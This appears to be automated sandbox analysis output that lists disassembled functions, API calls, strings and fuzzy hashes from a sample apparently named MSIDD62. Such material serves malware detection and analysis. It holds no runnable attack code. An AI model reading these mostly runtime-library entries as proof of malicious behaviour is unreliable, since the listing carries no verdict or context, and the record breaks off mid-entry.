Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: __aulldiv
String ID: -$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 3732870572-1956417402
Opcode ID: 705d3debf1a5dddd72039d855a1dd46f71d8830a331db34451873cc4cbbbbbdd
Instruction ID: 759285b87f5f25321c4f1997ad331d3ca6cfb8e0767ee5f51ca79aaa6ddf3071
Opcode Fuzzy Hash: 705d3debf1a5dddd72039d855a1dd46f71d8830a331db34451873cc4cbbbbbdd
Instruction Fuzzy Hash: 5B51C270B082599ADB259F6988507BFBBB6AF45310F16407FE4C2B7381C27C89528B58

Function 003EF860 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 003EFA3E

Strings

true, xrefs: 003EF97B
false, xrefs: 003EF965

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: 8fb9e53b79602db719e933bfc5e54682f4f82e8969bb99f9f8c24cfc82215226
Instruction ID: f4ddfaaad996ecdee2a3089c61a5490319e2ff1c672a5fb38075ef6db3ce7d22
Opcode Fuzzy Hash: 8fb9e53b79602db719e933bfc5e54682f4f82e8969bb99f9f8c24cfc82215226
Instruction Fuzzy Hash: 8C5109B1D00358DFDB11DFA4C841BEEB7B8FF09304F14822AE845AB282E774A945CB91

Function 004022AA Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004022B1
_swprintf.LIBCMT ref: 00402329

Part of subcall function 003F780A: __EH_prolog3.LIBCMT ref: 003F7811
Part of subcall function 003F780A: std::_Lockit::_Lockit.LIBCPMT ref: 003F781B
Part of subcall function 003F780A: std::_Lockit::~_Lockit.LIBCPMT ref: 003F788C

Strings

%.0Lf, xrefs: 00402321

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~__swprintf
String ID: %.0Lf
API String ID: 2348759532-1402515088
Opcode ID: 8456d65d31e660a99e60c7db0ecb886cabd7ddc1a7bcff9336b8e8d4d8030744
Instruction ID: 947038cec30a964f0908d055f1a4cbcf24af065b7fa75c835fcb44342fdce0a1
Opcode Fuzzy Hash: 8456d65d31e660a99e60c7db0ecb886cabd7ddc1a7bcff9336b8e8d4d8030744
Instruction Fuzzy Hash: 7C517C71D00219ABCF05DFE4D948ADDBBB9FF08300F20456AE506AB2A5DB789905CF54

Function 0040258E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 158COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00402595
_swprintf.LIBCMT ref: 0040260D

Part of subcall function 003EB500: std::_Lockit::_Lockit.LIBCPMT ref: 003EB52D
Part of subcall function 003EB500: std::_Lockit::_Lockit.LIBCPMT ref: 003EB550
Part of subcall function 003EB500: std::_Lockit::~_Lockit.LIBCPMT ref: 003EB578
Part of subcall function 003EB500: std::_Lockit::~_Lockit.LIBCPMT ref: 003EB617

Strings

%.0Lf, xrefs: 00402605

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: 1db3f7eae31a433768aa36faa9ac36169132749b83e21ca4e83a98c23bf9ba58
Instruction ID: 3692285579ad709abba0ac2bf5b9aa475cd3754b43ed4767a272b3c570d024b4
Opcode Fuzzy Hash: 1db3f7eae31a433768aa36faa9ac36169132749b83e21ca4e83a98c23bf9ba58
Instruction Fuzzy Hash: 6F517C71D00258ABCF06DFE4D948ADEBBB9FF08300F20456AE542AB2D1DB789905CF94

Function 00406607 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0040660E
_swprintf.LIBCMT ref: 00406686

Part of subcall function 003EC590: std::_Lockit::_Lockit.LIBCPMT ref: 003EC5BD
Part of subcall function 003EC590: std::_Lockit::_Lockit.LIBCPMT ref: 003EC5E0
Part of subcall function 003EC590: std::_Lockit::~_Lockit.LIBCPMT ref: 003EC608
Part of subcall function 003EC590: std::_Lockit::~_Lockit.LIBCPMT ref: 003EC6A7

Strings

%.0Lf, xrefs: 0040667E

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3__swprintf
String ID: %.0Lf
API String ID: 1487807907-1402515088
Opcode ID: c1e2ab7ad512c549851f5196737ed30cfbf4074dd2cfc5c09a4796afa6fa0566
Instruction ID: 126a9db83fb89e894c57876ebceca1d0e2d456081288aab13bf483debac0ba01
Opcode Fuzzy Hash: c1e2ab7ad512c549851f5196737ed30cfbf4074dd2cfc5c09a4796afa6fa0566
Instruction Fuzzy Hash: FA516971D00258ABCF0ADFE4D884ADDBBB5FB48300F20496AE506AB2A5DB399915CF54

Function 003E9620 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 154COMMON

Download Yara Rule

Strings

\\?\UNC\, xrefs: 003E96F7, 003E9752
\\?\, xrefs: 003E976E, 003E979B

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID:
String ID: \\?\$\\?\UNC\
API String ID: 0-3019864461
Opcode ID: 3410fb7e5c02815c6b9d471fdb891575549d34ca5373fb8090a12a58c70c33b0
Instruction ID: c303163d6aef5aff252cc87940dc909ae52af570e469979e4c879068935f6435
Opcode Fuzzy Hash: 3410fb7e5c02815c6b9d471fdb891575549d34ca5373fb8090a12a58c70c33b0
Instruction Fuzzy Hash: 6851B170A103549BDB25CF66C885BAEB7B5FF98314F10461FE801B72C1DBB5A988CB94

Function 003E3D60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131encryptionCOMMON

Download Yara Rule

APIs

CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 003E3DA3
CertGetNameStringW.CRYPT32(000000FF,00000004,00000000,00000000,00000010,000000FF), ref: 003E3E3F

Strings

x->, xrefs: 003E3D7E, 003E3EA0, 003E3DD5

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: CertNameString
String ID: x->
API String ID: 149855834-1156097982
Opcode ID: 602a3d4b63ed5ed9df2eeb6001223afef9dd465bd92d89cc1f09a06fe7dd77b8
Instruction ID: 5ff08edff01ca0a0c66585508f7bb9715e8645227ae03257903b8a50a4399d76
Opcode Fuzzy Hash: 602a3d4b63ed5ed9df2eeb6001223afef9dd465bd92d89cc1f09a06fe7dd77b8
Instruction Fuzzy Hash: 5E41CD71A00656AFD715CF69CC05BAAFBB4FF84314F20432AE915E73D0E7B1AA408B94

Function 0040B5D1 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0040B5F6

Strings

RCC, xrefs: 0040B610
MOC, xrefs: 0040B608

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 465421d766cc6bd8e83d9380d6e757eedfee4f80a3e5f489f8e9020ced571981
Instruction ID: 7224985a4688261aadbb58a2464900904f747aef9d0e6cbcd85683d5bc8b0415
Opcode Fuzzy Hash: 465421d766cc6bd8e83d9380d6e757eedfee4f80a3e5f489f8e9020ced571981
Instruction Fuzzy Hash: 55419C71900209AFCF15CF98CD81AEEBBB5FF48304F18846AF904772A1D33A9950DB99

Function 0040217C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00402183

Part of subcall function 003F780A: __EH_prolog3.LIBCMT ref: 003F7811
Part of subcall function 003F780A: std::_Lockit::_Lockit.LIBCPMT ref: 003F781B
Part of subcall function 003F780A: std::_Lockit::~_Lockit.LIBCPMT ref: 003F788C

Strings

0123456789-, xrefs: 004021D3
%.0Lf, xrefs: 004021CE

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: %.0Lf$0123456789-
API String ID: 2728201062-3094241602
Opcode ID: 833bf8b7d6fada808221c545aeab9ec71adb9633ccf9e83b11d61e4cdaa06672
Instruction ID: 71c1ff8caee5dfb2d588a9cf2ddbd2f5e8fbf360dae938069775ca6fdb8d445d
Opcode Fuzzy Hash: 833bf8b7d6fada808221c545aeab9ec71adb9633ccf9e83b11d61e4cdaa06672
Instruction Fuzzy Hash: 0F414931A00218DFCF06EFD4DA859EEBBB5BF09310F10016EE911BB2A1DB749956CB59

Function 00402460 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00402467

Part of subcall function 003EB500: std::_Lockit::_Lockit.LIBCPMT ref: 003EB52D
Part of subcall function 003EB500: std::_Lockit::_Lockit.LIBCPMT ref: 003EB550
Part of subcall function 003EB500: std::_Lockit::~_Lockit.LIBCPMT ref: 003EB578
Part of subcall function 003EB500: std::_Lockit::~_Lockit.LIBCPMT ref: 003EB617

Strings

0123456789-, xrefs: 004024B7
0123456789-, xrefs: 004024B2

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: ee5f5b564c11a4ecd03d838e02d641d9e53ef7edf6e18e8dab23b445b996c6d6
Instruction ID: 13119eb9805afc73811e23f7f20f561ad1d42578541938222ab4eb2a32eae7c1
Opcode Fuzzy Hash: ee5f5b564c11a4ecd03d838e02d641d9e53ef7edf6e18e8dab23b445b996c6d6
Instruction Fuzzy Hash: 5A418E31900268DFCF06DF98DA859EEBBB5FF09310F10016AF905BB291DB749955CB68

Function 004064DB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004064E2

Part of subcall function 003EC590: std::_Lockit::_Lockit.LIBCPMT ref: 003EC5BD
Part of subcall function 003EC590: std::_Lockit::_Lockit.LIBCPMT ref: 003EC5E0
Part of subcall function 003EC590: std::_Lockit::~_Lockit.LIBCPMT ref: 003EC608
Part of subcall function 003EC590: std::_Lockit::~_Lockit.LIBCPMT ref: 003EC6A7

Strings

0123456789-, xrefs: 00406532
0123456789-, xrefs: 0040652D

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3_
String ID: 0123456789-$0123456789-
API String ID: 2088892359-2494171821
Opcode ID: 8d26a3cf5e1c4af72b948d41b563e7ef4a13136e840ad8967e5df9098b238ab3
Instruction ID: e557e5e0285226c9d1aac740fd593463a49a7ed812537391b0890f486b15f650
Opcode Fuzzy Hash: 8d26a3cf5e1c4af72b948d41b563e7ef4a13136e840ad8967e5df9098b238ab3
Instruction Fuzzy Hash: 86415E31900219EFCF06DFA5E9819DE7BB5EF09310F10446EF412BB291DB399A16CB59

Function 004067B5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 004067BC
__cftoe.LIBCMT ref: 0040684D

Strings

!%x, xrefs: 004067D6

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: f9bd6110b4bfdc9b5ee6fb246937858efea6bd65962bb48b8850d3556bde3a9b
Instruction ID: 33f3391d9c9cd7ae376f9d37d11402412f7a8483cd7f17db3b5b784248e700eb
Opcode Fuzzy Hash: f9bd6110b4bfdc9b5ee6fb246937858efea6bd65962bb48b8850d3556bde3a9b
Instruction Fuzzy Hash: C3414771A11249EFDF05EFA8D8409EEBBB1BF08304F04842AF956BB382D7349911CB65

Function 00402DB5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00402DBC
__cftoe.LIBCMT ref: 00402E4F

Strings

!%x, xrefs: 00402DCA

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: H_prolog3___cftoe
String ID: !%x
API String ID: 855520168-1893981228
Opcode ID: fb785ae3813e30c0b2c36c383cac1c0c213704675def089ea741c595e6d21f17
Instruction ID: d0c5e50d023f0615ad5b708951e7708ad4d137762138b31e9c91a8e946496749
Opcode Fuzzy Hash: fb785ae3813e30c0b2c36c383cac1c0c213704675def089ea741c595e6d21f17
Instruction Fuzzy Hash: 0D314D71A01209EBDF04DFA4DA859EEB7B2FF48304F10442AF905BB291E7789E05CB94

Function 003ED5D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 78COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 003ED682

Strings

+, xrefs: 003ED5F6
%, xrefs: 003ED609

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: be6c15f7fac2e1c8013b542196b8bfcd6a159c18b5384d59069d4ead3d7165cc
Instruction ID: 2784418314ca2aeb459339fc345e5d071b1df3815e4c4bbd72346d9ab014381b
Opcode Fuzzy Hash: be6c15f7fac2e1c8013b542196b8bfcd6a159c18b5384d59069d4ead3d7165cc
Instruction Fuzzy Hash: D021E7711083849FD712CF15C859B9BBBE9AF89304F04895DF99857292D734D918C7E3

Function 003ED6C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 003ED769

Strings

+, xrefs: 003ED6E6
%, xrefs: 003ED6F9

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: 94935c36b3218fc9b29cc42dc8c5b403234523578bd3a07a76b0f9e74ddbffdd
Instruction ID: 4f147a49adc0d90e8dc1a5ec851bfdf6cfb980fe11851c75f28564e2baa2bf7a
Opcode Fuzzy Hash: 94935c36b3218fc9b29cc42dc8c5b403234523578bd3a07a76b0f9e74ddbffdd
Instruction Fuzzy Hash: 3321D6752083859FD712CF15C845B9BBBE9EBC5300F14891DF99497292C734D918C7A7

Function 003ED7B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 003ED859

Strings

%, xrefs: 003ED7E9
+, xrefs: 003ED7D6

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: _swprintf
String ID: %$+
API String ID: 589789837-2626897407
Opcode ID: 54167e148ce4377fc763e241f6e8f6bc7bc88d8ce4b097f71b0deaedac52fd1a
Instruction ID: 2d41f47c781006cfad572a0bc12821e449f2853d36e75200a7f7f24dbcad1fbd
Opcode Fuzzy Hash: 54167e148ce4377fc763e241f6e8f6bc7bc88d8ce4b097f71b0deaedac52fd1a
Instruction Fuzzy Hash: 9C21C4712083859FE712CF15C845B9BBBE9EBC5300F14891DF99497292C734D918C7A7

Function 003E1CB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 003F1EC4: EnterCriticalSection.KERNEL32(00444844,?,?,?,003E1CE7,00000000,755CD0F6,?,?,?,?,-00000010,00429340,000000FF,?,003E202C), ref: 003F1ECF
Part of subcall function 003F1EC4: LeaveCriticalSection.KERNEL32(00444844,?,?,003E1CE7,00000000,755CD0F6,?,?,?,?,-00000010,00429340,000000FF,?,003E202C), ref: 003F1EFB

FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,755CD0F6,?,?,?,?,-00000010,00429340,000000FF,?,003E202C), ref: 003E1D06

Part of subcall function 003E1D70: LoadResource.KERNEL32(00000000,00000000,755CD0F6,00000001,00000000,?,00000000,00429360,000000FF,?,003E1D1C,00000010,?,?,?,-00000010), ref: 003E1D9B
Part of subcall function 003E1D70: LockResource.KERNEL32(00000000,?,003E1D1C,00000010,?,?,?,-00000010,00429340,000000FF,?,003E202C,?,00000000,0042938D,000000FF), ref: 003E1DA6
Part of subcall function 003E1D70: SizeofResource.KERNEL32(00000000,00000000,?,003E1D1C,00000010,?,?,?,-00000010,00429340,000000FF,?,003E202C,?,00000000,0042938D), ref: 003E1DB4

Strings

0HD, xrefs: 003E1D24
0HD, xrefs: 003E1CDD

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: Resource$CriticalSection$EnterFindLeaveLoadLockSizeof
String ID: 0HD$0HD
API String ID: 529824247-962433497
Opcode ID: c826a2ef00076d956dc6b6c05653c5ff8fdcb41d1c55be4b1da4cc585d71d30a
Instruction ID: 5e3b3e210412a5747552dcecf7cff052c209c71dac80a2767c6752b56c77f97a
Opcode Fuzzy Hash: c826a2ef00076d956dc6b6c05653c5ff8fdcb41d1c55be4b1da4cc585d71d30a
Instruction Fuzzy Hash: 80110A36F046686BE7268B59AC41B7BF3D8E789B64F00023EED06D73C0DB359C008294

Function 003E80D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 003E8116
LocalFree.KERNEL32(00000000,Invalid SID,0000000B,?,00000000,755CD0F6), ref: 003E8185

Strings

Invalid SID, xrefs: 003E8163

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

API ID: ConvertFreeLocalString
String ID: Invalid SID
API String ID: 3201929900-130637731
Opcode ID: cd45d6eb68f3aa4eb78dce1ae16e3bc8864bc971d69c7c04a52d021ad2e2db05
Instruction ID: 923b0d62c6cfa688091d933066c5909c7c67032bf508f759c9212ee1d4876feb
Opcode Fuzzy Hash: cd45d6eb68f3aa4eb78dce1ae16e3bc8864bc971d69c7c04a52d021ad2e2db05
Instruction Fuzzy Hash: 0921AE74E003559BDB11CF59C819BAFFBB8FF44B04F10465EE806A7280DBB56A458BD4

Function 003EC140 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 003EC16B
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 003EC1CE

Strings

bad locale name, xrefs: 003EC1F1

Memory Dump Source

Source File: 0000000C.00000002.1289819753.00000000003E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.1289779696.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289865966.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289891415.0000000000443000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.1289911531.0000000000447000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_MSIDD62.jbxd

Similarity

